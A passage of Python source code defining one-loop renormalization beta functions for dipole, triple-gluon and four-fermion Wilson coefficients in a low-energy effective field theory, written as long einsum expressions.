4*e*qu*my_einsum("rw,vw,vs",C["uG"],C["ugamma"].conj(),C["Mu"].conj().T)) - ((8*CF - 2*CA)*g*my_einsum("rw,vw,vs",C["Mu"].conj().T,C["uG"].conj(),C["uG"]) + 4*e*qu*my_einsum("rw,vw,vs",C["Mu"].conj().T,C["ugamma"].conj(),C["uG"])) - 4*g*(my_einsum("rs,vw,wv",C["uG"],C["uG"],C["Mu"]) + my_einsum("rs,vw,vw",C["uG"],C["Mu"].conj().T,C["uG"].conj())) - 4*g*(my_einsum("rs,vw,wv",C["uG"],C["dG"],C["Md"]) + my_einsum("rs,vw,vw",C["uG"],C["Md"].conj().T,C["dG"].conj())) + (10*CA - 12*CF)*g*my_einsum("rw,wv,vs",C["uG"],C["Mu"],C["uG"]) - 4*e*qu*(my_einsum("wv,rw,vs",C["Mu"],C["ugamma"],C["uG"]) + my_einsum("wv,rw,vs",C["Mu"],C["uG"],C["ugamma"])) - 4*g*my_einsum("wv,rw,vs",C["Mu"],C["ugamma"],C["ugamma"]) - 4*g*my_einsum("wv,ws,rv",C["ugamma"].conj(),C["ugamma"],C["Mu"].conj().T) - 4*g*my_einsum("rw,vw,vs",C["ugamma"],C["ugamma"].conj(),C["Mu"].conj().T) Beta["dG"] = ((10*CF - 4*CA - b0g)*g**2 + 2*e**2*qd**2)*my_einsum("rs",C["dG"]) + 8*e*g*qd*my_einsum("rs",C["dgamma"]) + 3*g**2*CA*my_einsum("rs",C["Md"].conj().T)*(C["G"] + 1j*C["Gtilde"]) + 2*g*my_einsum("wv,rwvs",C["Md"],C["S1ddRR"]) + 2*g*(CF - ((1)/(2))*CA)*my_einsum("wv,rwvs",C["Md"],C["S8ddRR"]) + g*my_einsum("wv,vsrw",C["Mu"],C["S1udduRR"]) + g*(CF - ((1)/(2))*CA)*my_einsum("wv,vsrw",C["Mu"],C["S8udduRR"]) - ((8*CF - 2*CA)*g*my_einsum("rw,vw,vs",C["dG"],C["dG"].conj(),C["Md"].conj().T) + 4*e*qd*my_einsum("rw,vw,vs",C["dG"],C["dgamma"].conj(),C["Md"].conj().T)) - ((8*CF - 2*CA)*g*my_einsum("rw,vw,vs",C["Md"].conj().T,C["dG"].conj(),C["dG"]) + 4*e*qd*my_einsum("rw,vw,vs",C["Md"].conj().T,C["dgamma"].conj(),C["dG"])) - 4*g*(my_einsum("rs,vw,wv",C["dG"],C["uG"],C["Mu"]) + my_einsum("rs,vw,vw",C["dG"],C["Mu"].conj().T,C["uG"].conj())) - 4*g*(my_einsum("rs,vw,wv",C["dG"],C["dG"],C["Md"]) + my_einsum("rs,vw,vw",C["dG"],C["Md"].conj().T,C["dG"].conj())) + (10*CA - 12*CF)*g*my_einsum("rw,wv,vs",C["dG"],C["Md"],C["dG"]) - 4*e*qd*(my_einsum("wv,rw,vs",C["Md"],C["dgamma"],C["dG"]) + my_einsum("wv,rw,vs",C["Md"],C["dG"],C["dgamma"])) - 4*g*my_einsum("wv,rw,vs",C["Md"],C["dgamma"],C["dgamma"]) - 4*g*my_einsum("wv,ws,rv",C["dgamma"].conj(),C["dgamma"],C["Md"].conj().T) - 4*g*my_einsum("rw,vw,vs",C["dgamma"],C["dgamma"].conj(),C["Md"].conj().T) # X^3 Beta["G"] = (12*CA - 3*b0g)*g**2*C["G"] Beta["Gtilde"] =(12*CA - 3*b0g)*g**2*C["Gtilde"] # \psi^4: (\overline L L)*(\overline L L) Beta["VnunuLL"] = 0 Beta["VeeLL"] = 12*e**2*qe**2*my_einsum("prst",C["VeeLL"]) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,stww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("pr,stww",C["delta"],C["VeeLL"]) + my_einsum("pr,stww",C["delta"],C["VeeLR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("pt,srww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("pt,srww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("pt,srww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("pt,srww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("pt,srww",C["delta"],C["VeeLL"]) + my_einsum("pt,srww",C["delta"],C["VeeLR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("sr,ptww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("sr,ptww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("sr,ptww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("sr,ptww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("sr,ptww",C["delta"],C["VeeLL"]) + my_einsum("sr,ptww",C["delta"],C["VeeLR"]))) + ((26)/(3))*e**2*qe**2*(my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["egamma"],C["egamma"].conj(),C["delta"]) + my_einsum("pw,tw,sr",C["egamma"],C["egamma"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["egamma"],C["egamma"].conj(),C["delta"])) + e**2*qe**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VnueLL"] = ((4)/(3))*e**2*qe*(Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) + 96*e**2*qe**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VnuuLL"] = ((4)/(3))*e**2*qu*(Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) + 96*e**2*qu**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VnudLL"] = ((4)/(3))*e**2*qd*(Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VnuuLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VnudLR"]) + qe*(my_einsum("st,prww",C["delta"],C["VnueLL"]) + my_einsum("st,prww",C["delta"],C["VnueLR"]))) + 96*e**2*qd**2*my_einsum("wr,wp,st",C["nugamma"],C["nugamma"].conj(),C["delta"]) Beta["VeuLL"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("pr,stww",C["delta"],C["VuuLL"]) + my_einsum("pr,stww",C["delta"],C["V1uuLR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLL"]) + qe*my_einsum("pr,stww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuLL"])) + ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) + 12*e**2*qe*qu*my_einsum("prst",C["VeuLL"]) - ((16)/(3))*CF*e**2*qe*qu*my_einsum("sw,tw,pr",C["uG"],C["uG"].conj(),C["delta"]) + 8*CF*e*g*qe*(my_einsum("sw,tw,pr",C["uG"],C["ugamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["ugamma"],C["uG"].conj(),C["delta"])) + e**2*(24*qu**2 + ((32)/(3))*qe*qu)*my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + e**2*(24*qe**2 + ((32)/(3))*qe*qu)*my_einsum("sw,tw,pr",C["ugamma"],C["ugamma"].conj(),C["delta"]) + 2*e**2*qe*qu*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VedLL"] = ((4)/(3))*e**2*qe*(Nc*qu*my_einsum("pr,wwst",C["delta"],C["V1udLL"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["V1duLR"]) + Nc*qd*(2*my_einsum("pr,stww",C["delta"],C["VddLL"]) + my_einsum("pr,stww",C["delta"],C["V1ddLR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLL"]) + qe*my_einsum("pr,stww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddLL"])) + ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,prww",C["delta"],C["VedLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLL"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuLR"]) + qe*(4*my_einsum("st,prww",C["delta"],C["VeeLL"]) + my_einsum("st,prww",C["delta"],C["VeeLR"]))) + 12*e**2*qd*qe*my_einsum("prst",C["VedLL"]) - ((16)/(3))*CF*e**2*qe*qd*my_einsum("sw,tw,pr",C["dG"],C["dG"].conj(),C["delta"]) + 8*CF*e*g*qe*(my_einsum("sw,tw,pr",C["dG"],C["dgamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dgamma"],C["dG"].conj(),C["delta"])) + e**2*(24*qd**2 + ((32)/(3))*qe*qd)*my_einsum("pw,rw,st",C["egamma"],C["egamma"].conj(),C["delta"]) + e**2*(24*qe**2 + ((32)/(3))*qe*qd)*my_einsum("sw,tw,pr",C["dgamma"],C["dgamma"].conj(),C["delta"]) + 2*e**2*qe*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VnueduLL"] = 6*e**2*qe*qu*my_einsum("prst",C["VnueduLL"]) Beta["VuuLL"] = ((2)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("pr,stww",C["delta"],C["VuuLL"]) + my_einsum("pr,stww",C["delta"],C["V1uuLR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLL"]) + qe*my_einsum("pr,stww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuLL"])) + ((2)/(3))*e**2*qu*(Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("st,prww",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V1uuLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLL"]) + qe*my_einsum("st,prww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuLL"])) + ((g**2)/(6*Nc))*(Nc*(my_einsum("pt,srww",C["delta"],C["V8udLL"]) + my_einsum("pt,srww",C["delta"],C["V8udLR"]) + 4*my_einsum("pt,swwr",C["delta"],C["VuuLL"]) + my_einsum("pt,srww",C["delta"],C["V8uuLR"])) + Nc*(my_einsum("rs,ptww",C["delta"],C["V8udLL"]) + my_einsum("rs,ptww",C["delta"],C["V8udLR"]) + 4*my_einsum("rs,pwwt",C["delta"],C["VuuLL"]) + my_einsum("rs,ptww",C["delta"],C["V8uuLR"])) - (my_einsum("pr,stww",C["delta"],C["V8udLL"]) + my_einsum("pr,stww",C["delta"],C["V8udLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VuuLL"]) + my_einsum("pr,stww",C["delta"],C["V8uuLR"])) - (my_einsum("st,prww",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8udLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V8uuLR"]))) + (12*e**2*qu**2 - ((6*g**2)/(Nc)))*my_einsum("prst",C["VuuLL"]) + 6*g**2*my_einsum("ptsr",C["VuuLL"]) - ((8)/(3))*CF*e**2*qu**2*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["uG"],C["uG"].conj(),C["delta"])) - ((1)/(2*Nc))*(((16)/(3))*CF + 3*Cd - 5*CA - 24*Nc*C1)*g**2*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["uG"],C["uG"].conj(),C["delta"])) + ((1)/(2))*(((16)/(3))*CF + 3*Cd - 5*CA)*g**2*(my_einsum("pw,tw,sr",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["uG"],C["uG"].conj(),C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qu*(my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qu*(my_einsum("sw,tw,pr",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["uG"],C["ugamma"].conj(),C["delta"])) + 8*e*g*qu*(my_einsum("pw,tw,sr",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("pw,tw,sr",C["uG"],C["ugamma"].conj(),C["delta"])) + 8*e*g*qu*(my_einsum("sw,rw,pt",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["uG"],C["ugamma"].conj(),C["delta"])) + (((52)/(3))*e**2*qu**2 + ((4)/(3*Nc))*g**2)*(my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["ugamma"],C["ugamma"].conj(),C["delta"])) - ((4)/(3))*g**2*(my_einsum("pw,tw,sr",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["ugamma"],C["ugamma"].conj(),C["delta"])) + e**2*qu**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) - ((1)/(2*Nc))*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) + ((1)/(2))*g**2*zetag*my_einsum("pt,sr",C["delta"],C["delta"]) Beta["VddLL"] = ((2)/(3))*e**2*qd*(Nc*qd*2*my_einsum("pr,stww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLL"]) + my_einsum("pr,stww",C["delta"],C["V1duLR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLL"]) + qe*my_einsum("pr,stww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddLL"])) + ((2)/(3))*e**2*qd*(Nc*qd*2*my_einsum("st,prww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1udLL"]) + my_einsum("st,prww",C["delta"],C["V1duLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VedLL"]) + qe*my_einsum("st,prww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("st,pwwr",C["delta"],C["VddLL"])) + ((g**2)/(6*Nc))*(Nc*(4*my_einsum("pt,swwr",C["delta"],C["VddLL"]) + my_einsum("pt,wwsr",C["delta"],C["V8udLL"]) + my_einsum("pt,srww",C["delta"],C["V8duLR"]) + my_einsum("pt,srww",C["delta"],C["V8ddLR"])) + Nc*(4*my_einsum("rs,pwwt",C["delta"],C["VddLL"]) + my_einsum("rs,wwpt",C["delta"],C["V8udLL"]) + my_einsum("rs,ptww",C["delta"],C["V8duLR"]) + my_einsum("rs,ptww",C["delta"],C["V8ddLR"])) - (4*my_einsum("pr,swwt",C["delta"],C["VddLL"]) + my_einsum("pr,wwst",C["delta"],C["V8udLL"]) + my_einsum("pr,stww",C["delta"],C["V8duLR"]) + my_einsum("pr,stww",C["delta"],C["V8ddLR"])) - (4*my_einsum("st,pwwr",C["delta"],C["VddLL"]) + my_einsum("st,wwpr",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8duLR"]) + my_einsum("st,prww",C["delta"],C["V8ddLR"]))) + (12*e**2*qd**2 - ((6*g**2)/(Nc)))*my_einsum("prst",C["VddLL"]) + 6*g**2*my_einsum("ptsr",C["VddLL"]) - ((8)/(3))*CF*e**2*qd**2*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dG"].conj(),C["delta"])) - ((1)/(2*Nc))*(((16)/(3))*CF + 3*Cd - 5*CA - 24*Nc*C1)*g**2*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dG"].conj(),C["delta"])) + ((1)/(2))*(((16)/(3))*CF + 3*Cd - 5*CA)*g**2*(my_einsum("pw,tw,sr",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["dG"],C["dG"].conj(),C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qd*(my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"])) + 4*(CF - ((2)/(Nc)))*e*g*qd*(my_einsum("sw,tw,pr",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dgamma"].conj(),C["delta"])) + 8*e*g*qd*(my_einsum("pw,tw,sr",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("pw,tw,sr",C["dG"],C["dgamma"].conj(),C["delta"])) + 8*e*g*qd*(my_einsum("sw,rw,pt",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["dG"],C["dgamma"].conj(),C["delta"])) + (((52)/(3))*e**2*qd**2 + ((4)/(3*Nc))*g**2)*(my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dgamma"],C["dgamma"].conj(),C["delta"])) - ((4)/(3))*g**2*(my_einsum("pw,tw,sr",C["dgamma"],C["dgamma"].conj(),C["delta"]) + my_einsum("sw,rw,pt",C["dgamma"],C["dgamma"].conj(),C["delta"])) + e**2*qd**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) - ((1)/(2*Nc))*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) + ((1)/(2))*g**2*zetag*my_einsum("pt,sr",C["delta"],C["delta"]) Beta["V1udLL"] = ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1udLR"]) + Nc*qu*(2*my_einsum("st,prww",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V1uuLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VeuLL"]) + qe*my_einsum("st,prww",C["delta"],C["VueLR"]) + 2*qu*my_einsum("st,pwwr",C["delta"],C["VuuLL"])) + ((4)/(3))*e**2*qu*(Nc*qd*2*my_einsum("pr,stww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLL"]) + my_einsum("pr,stww",C["delta"],C["V1duLR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLL"]) + qe*my_einsum("pr,stww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddLL"])) + 12*e**2*qd*qu*my_einsum("prst",C["V1udLL"]) + 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8udLL"]) - (((16)/(3))*CF*e**2*qu*qd - 24*g**2*C1)*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dG"].conj(),C["delta"])) + 8*CF*e*g*qd*(my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"])) + 8*CF*e*g*qu*(my_einsum("sw,tw,pr",C["dG"],C["dgamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dgamma"],C["dG"].conj(),C["delta"])) + e**2*(24*qd**2 + ((32)/(3))*qu*qd)*my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + e**2*(24*qu**2 + ((32)/(3))*qu*qd)*my_einsum("sw,tw,pr",C["dgamma"],C["dgamma"].conj(),C["delta"]) + 2*e**2*qu*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8udLL"] = ((2)/(3))*g**2*(4*my_einsum("pr,swwt",C["delta"],C["VddLL"]) + my_einsum("pr,wwst",C["delta"],C["V8udLL"]) + my_einsum("pr,stww",C["delta"],C["V8duLR"]) + my_einsum("pr,stww",C["delta"],C["V8ddLR"])) + ((2)/(3))*g**2*(my_einsum("st,prww",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8udLR"]) + 4*my_einsum("st,pwwr",C["delta"],C["VuuLL"]) + my_einsum("st,prww",C["delta"],C["V8uuLR"])) + 12*g**2*my_einsum("prst",C["V1udLL"]) + (12*e**2*qd*qu - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8udLL"]) + (((32)/(3))*CF + 6*Cd - 10*CA)*g**2*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dG"].conj(),C["delta"])) + 8*e*g*(qu + 3*qd)*(my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"])) + 8*e*g*(qd + 3*qu)*(my_einsum("sw,tw,pr",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dG"],C["dgamma"].conj(),C["delta"])) - ((16)/(3))*g**2*(my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("sw,tw,pr",C["dgamma"],C["dgamma"].conj(),C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) # \psi^4: (\overline R R)*(\overline R R) Beta["VeeRR"] = 12*e**2*qe**2*my_einsum("prst",C["VeeRR"]) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("pr,wwst",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("pr,stww",C["delta"],C["VeuRR"]) + qe*(my_einsum("pr,wwst",C["delta"],C["VeeLR"]) + 4*my_einsum("pr,stww",C["delta"],C["VeeRR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("st,wwpr",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuRR"]) + qe*(my_einsum("st,wwpr",C["delta"],C["VeeLR"]) + 4*my_einsum("st,prww",C["delta"],C["VeeRR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("pt,wwsr",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("pt,srww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("pt,wwsr",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("pt,srww",C["delta"],C["VeuRR"]) + qe*(my_einsum("pt,wwsr",C["delta"],C["VeeLR"]) + 4*my_einsum("pt,srww",C["delta"],C["VeeRR"]))) + ((1)/(3))*e**2*qe*(Nc*qd*my_einsum("sr,wwpt",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("sr,ptww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("sr,wwpt",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("sr,ptww",C["delta"],C["VeuRR"]) + qe*(my_einsum("sr,wwpt",C["delta"],C["VeeLR"]) + 4*my_einsum("sr,ptww",C["delta"],C["VeeRR"]))) + ((26)/(3))*e**2*qe**2*(my_einsum("wp,wr,st",C["egamma"].conj(),C["egamma"],C["delta"]) + my_einsum("ws,wt,pr",C["egamma"].conj(),C["egamma"],C["delta"]) + my_einsum("wp,wt,sr",C["egamma"].conj(),C["egamma"],C["delta"]) + my_einsum("ws,wr,pt",C["egamma"].conj(),C["egamma"],C["delta"])) + e**2*qe**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VeuRR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1uuLR"]) + 2*my_einsum("pr,stww",C["delta"],C["VuuRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((4)/(3))*e**2*qu*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("st,wwpr",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuRR"]) + qe*(my_einsum("st,wwpr",C["delta"],C["VeeLR"]) + 4*my_einsum("st,prww",C["delta"],C["VeeRR"]))) + 12*e**2*qe*qu*my_einsum("prst",C["VeuRR"]) - ((16)/(3))*CF*e**2*qe*qu*my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"]) + 8*CF*e*g*qe*(my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"])) + e**2*(24*qu**2 + ((32)/(3))*qe*qu)*my_einsum("wp,wr,st",C["egamma"].conj(),C["egamma"],C["delta"]) + e**2*(24*qe**2 + ((32)/(3))*qe*qu)*my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"]) + 2*e**2*qe*qu*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VedRR"] = ((4)/(3))*e**2*qe*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("st,wwpr",C["delta"],C["VdeLR"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["VedRR"]) + Nc*qu*my_einsum("st,wwpr",C["delta"],C["VueLR"]) + Nc*qu*my_einsum("st,prww",C["delta"],C["VeuRR"]) + qe*(my_einsum("st,wwpr",C["delta"],C["VeeLR"]) + 4*my_einsum("st,prww",C["delta"],C["VeeRR"]))) + 12*e**2*qd*qe*my_einsum("prst",C["VedRR"]) - ((16)/(3))*CF*e**2*qe*qd*my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"]) + 8*CF*e*g*qe*(my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"])) + e**2*(24*qd**2 + ((32)/(3))*qe*qd)*my_einsum("wp,wr,st",C["egamma"].conj(),C["egamma"],C["delta"]) + e**2*(24*qe**2 + ((32)/(3))*qe*qd)*my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"]) + 2*e**2*qe*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["VuuRR"] = ((2)/(3))*e**2*qu*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1uuLR"]) + 2*my_einsum("pr,stww",C["delta"],C["VuuRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VeuRR"]) + 